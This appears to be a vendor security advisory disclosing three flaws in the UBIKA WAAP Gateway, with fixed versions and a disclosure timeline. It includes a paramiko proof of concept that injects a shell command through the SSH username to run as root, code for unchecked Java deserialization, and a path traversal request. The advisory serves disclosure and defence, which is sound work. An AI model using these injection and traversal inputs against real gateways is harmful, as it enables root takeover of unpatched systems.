Ubika WAAP Gateway: multiple vulnerabilities including preauth RCE as root
23/09/2026 - Download
Product
UBIKA WAAP Gateway
Severity
Critical
Fixed Version(s)
First vulnerability: 6.16.2 and 6.11.14 (2025/11/25)
Second and third vulnerability: 6.16.4 (2026/09/03)
Affected Version(s)
6.11.13
Other versions have not been checked
CVE Number
N/A
Authors
Description
Presentation
UBIKA WAAP Gateway is an enterprise security gateway from UBIKA that protects web applications and APIs. It sits in front of application servers, inspects incoming HTTP/HTTPS traffic, and blocks or modifies requests according to security policies before they reach the application.
Issue(s)
During a security audit for one of our client, multiple issues were discovered:
- Command injection in the username when using the SSH procotol
- Arbitrary java object deserialization in the SSO component
- Path traversal in the SSO component
Timeline
| Date | Description |
|---|---|
| 2025.09.19 | Advisory sent to UBIKA |
| 2025.10.13 | Acknowledgment of vulnerabilities |
| 2025.11.25 | Patch release for the pre-authentication RCE |
| 2026.09.03 | Patch release for the other vulnerabilities |
| 2026.09.23 | Public release |
Technical details
Pre-authenticated command injection
Description
Authentication attempts on the SSH service uses the syslog component to log authentication attempts, whether they are successful or denied. Authentication attempts have a specific syslog configuration (/opt/denyall/etc/rsyslog.d/40-event_logs.conf):
#
# Create event logs when a user logs in
#
auth.info;authpriv.info action(type="omprog" binary="/opt/denyall/sbin/userLoginEventLog.awk" template="msgonlynl")
All auth.info and authpriv.info will invoke the given awk script with the log information.
The awk scripts is as follows:
#!/bin/awk -f
BEGIN {
command="/opt/denyall/sbin/createEventLog.sh"
}
# Critical eventLogs
(/Failed password for .* from/) || \
(/Invalid user .* from/) || \
(/FAILED LOGIN .* FROM/) {
system(command" critical USERS '"$0"'")
next
}
# Informational eventLogs
(/Accepted password for .* from/) || \
(/session opened for user .* by LOGIN/) {
system(command" none USERS '"$0"'")
next
}
The vulnerability is present in this script, the $0 argument is retrieved from the regexp by extracting the username of the person trying to authenticate and injecting it in the system command without any sanitization.
Because the standard ssh binary forbid the use of certain characters, the paramiko python library can be used to execute any command:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('x.x.x.x', port=22, username="';touch${IFS}synacktiv;'", password='password')
The script is running as root and has a current working directory at the root of the filesystem, the synacktiv file is created on the filesystem:
# ls -l /
total 28
-rw------- 1 root root 0 Apr 17 15:07 synacktiv
[...]
Impact
If the ssh service is exposed, an attacker could execute any command as root on the appliance or virtual machine and take full control of it.
Arbitrary java deserialization on the SSO component
Description
The UBIKA WAAP Gateway offers an SSO feature that can be configured to authenticate users before redirecting them to the application. This feature is implemented using Java and a dedicated service is configured when this feature is present, hosted locally.
Technically, the Apache reverse proxy will communicate with the Java component transparently for the user. When performing authentication, the Apache reverse proxy, through a specific module, handles the workflow to decide if the user needs to be authenticated or is granted access to the requested application. When an authentication takes place, an internal HTTP request is made to the Java backend containing a specific X-Session header with a serialized object.
Indeed, by decompiling the different jars, the following code has been observed:
package com.beeware.iam.servlets.filters;
[...]
public class SessionFilter implements Filter {
[...]
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
try {
getSession(req);
chain.doFilter(request, response);
HttpSession session = req.getSession(false);
if (session != null) {
session.invalidate();
}
} catch (Exception e) {
log.error("{}", e, e);
}
}
private void getSession(HttpServletRequest req) throws IOException {
String serialisedSession;
HttpSession session = req.getSession(false);
if (session != null) {
session.invalidate();
}
HttpSession session2 = req.getSession();
Enumeration headers = req.getHeaders(Env.X_SESSION); // X-Session
String str = "";
while (true) {
serialisedSession = str;
if (!headers.hasMoreElements()) {
break;
} else {
str = serialisedSession + headers.nextElement();
}
}
if (null != serialisedSession && !serialisedSession.isEmpty()) {
log.debug("{}", HttpRequestPrinter.paramsAndHeaders(req).toString());
try {
IamSession iamSession = (IamSession) deserialize(serialisedSession);
iamSession.storeSessionForIngoing(session2);
return;
} catch (Exception e) {
log.error("Unable to deserialize headerX-Session", (Throwable) e);
return;
}
}
log.debug("Found no header {} to deserialize in request: {}", Env.X_SESSION, req.getRequestURL());
}
private Object deserialize(String string) throws IOException, ClassNotFoundException {
byte[] data = DatatypeConverter.parseBase64Binary(string);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data));
Object object = objectInputStream.readObject();
objectInputStream.close();
return object;
}
}
No checks are performed to verify that the deserialized object corresponds to the IamSession object. Moreover, the Apache reverse proxy receiving the client requests does not remove the header if present in the initial request.
Impact
Arbitrary java deserialization may allow different actions such as arbitrary code execution or file write. However, these primitives rely on the presence of Java Gadgets contained in the code loaded by the application at the time of deserialization. In this context, no gadgets were discovered that allowed performing sensitive actions.
Path traversal on the SSO component
Description
The SSO component of the UBIKA WAAP Gateway is reachable only when this component is used for an application. Static resources can be directly queried by the end user without having the reverse proxy perform any sanitization or query modification. As such, accessing the SSO status endpoint can be achieved with the following HTTP request:
GET /static/..;/..;/status HTTP/1.1
Host: XXXXXXXXXXX
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: BWFSESSID_jaq2r3vtzt9ce3qnltasaymsxa=7bnp8wylgnplzkaay7p329hr4e0h72yua3gfflbrc597al6vy76akjqwhw6hykf4jkv5upz9jj9wyn9fs9ulbwambmb7ub5c8lktj7nmtpbsmgybkgqnkp9tsr37m54cbcu7uhhq6mxj6sjjmt64g42dyhhlhyfnf77lzl5tn5mupa2hbr7ykpgv9nrxu4f8kwm5lcmhjh8z7ehs9rthpk3ker5zr93zjgmgpbpqub3cgyfkww96hedvpwz8pqk98asq944c3aeshb2nk7mtgk98l2
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 14 Apr 2025 16:36:18 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/plain;charset=utf-8
Content-Length: 4
Keep-Alive: timeout=5, max=300
Connection: Keep-Alive
OK
Impact
An attacker might interact with other endpoints of the SSO component without being restricted by the workflow implemented by the Apache reverse proxy.